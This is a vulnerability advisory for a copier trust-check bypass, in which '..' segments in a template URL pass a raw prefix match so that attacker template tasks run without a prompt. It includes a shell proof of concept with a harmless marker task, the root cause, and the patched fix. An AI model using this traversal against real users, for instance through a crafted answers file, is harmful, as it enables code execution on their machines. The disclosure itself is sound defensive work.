CVE-2026-53951: copier Trust-Prefix Bypass via Path Traversal Leads to Arbitrary Command Execution
Copier's template trust check can be fooled by a URL containing '..' segments, letting an attacker-controlled template run shell commands on your machine without the normal safety prompt.

The problem
Copier (versions 9.5.0 through 9.15.1) lets users mark template URL prefixes as trusted so that tasks, migrations, and Jinja extensions run without a '--trust' prompt. The trust check in 'copier/_settings.py' uses a raw 'str.startswith' with no path normalization, so a URL like '/trusted/prefix/../attacker/evil' passes the prefix test while actually resolving to the attacker-controlled location.
This is most dangerous with 'copier update': the template URL is read from the project's '.copier-answers.yml', which an attacker who ships a project can control. The trust gate in '_main.py' returns early on a match, so the malicious template's tasks execute with no warning.
Proof of concept
A working proof-of-concept for CVE-2026-53951 in copier, with the exact payload below.
# 1. Create a trusted prefix and an attacker template outside it
mkdir -p /tmp/poc/trusted_templates
mkdir -p /tmp/poc/attacker/evil_template
# 2. Attacker template: a standard copier layout with a task
cat > /tmp/poc/attacker/evil_template/copier.yml <<'EOF'
_tasks:
- "echo COPIER-TRUST-BYPASS-RCE-MARKER && touch /tmp/COPIER_RCE_PROOF"
EOF
echo 'hello' > /tmp/poc/attacker/evil_template/hello.txt
# 3. Configure copier to trust the prefix
mkdir -p /tmp/poc/dst
cat > /tmp/poc/settings.yml <<'EOF'
trust:
- /tmp/poc/trusted_templates/
EOF
# 4. Exploit: use traversal URL that starts with the trusted prefix
# but resolves to the attacker template
# Canonical path (blocked, exit 4):
copier copy /tmp/poc/attacker/evil_template /tmp/poc/dst_control
# Traversal path (trusted, exit 0 -- tasks fire):
copier copy \
/tmp/poc/trusted_templates/../attacker/evil_template \
/tmp/poc/dst_exploit
# 5. Confirm RCE
ls /tmp/COPIER_RCE_PROOF # file created by the taskThe root cause is a TOCTOU-style normalization gap: '_normalize()' only expands '~', so '..'' segments survive into the 'startswith' prefix check. The string '/tmp/poc/trusted_templates/../attacker/evil_template'.startswith('/tmp/poc/trusted_templates/') is True in Python, granting trust.
Git and pathlib then resolve the '..', so the template actually loaded is '/tmp/poc/attacker/evil_template', a location the user never trusted.
The fix in v9.15.2 normalizes both sides before comparing: for local paths it uses 'Path(t).resolve()' and 'Path(repository).resolve().is_relative_to(resolved_trusted)' (the same pattern already used elsewhere in the codebase for render-path guards), and for HTTPS URLs it parses and collapses dot-segments before the prefix test.
CWE-22 (path traversal) in the authorization check leads directly to CWE-94 (code injection) via unsandboxed task execution.
The fix
Upgrade to copier 9.15.2 or later ('pip install --upgrade copier'). The patched release normalizes template URLs with 'Path.resolve()' and 'is_relative_to()' before the trust prefix comparison, closing the traversal gap. If you cannot upgrade immediately, avoid trailing-'/' prefix entries in 'trust' and instead list exact, fully resolved template paths.
Related research
- high · 7.5CVE-2026-12243CVE-2026-12243: nltk Arbitrary File Read via Percent-Encoded Path Traversal
- highatomic-agents-stack: Dashboard HTTP Server Path Traversal Allows Arbitrary File Read
- high · 8.4CVE-2026-55071CVE-2026-55071: stata-mcp Stata Command Injection via Unsanitized Package Name
- high · 8.2GitPython Submodule Name Path Traversal to Arbitrary Git Repository Creation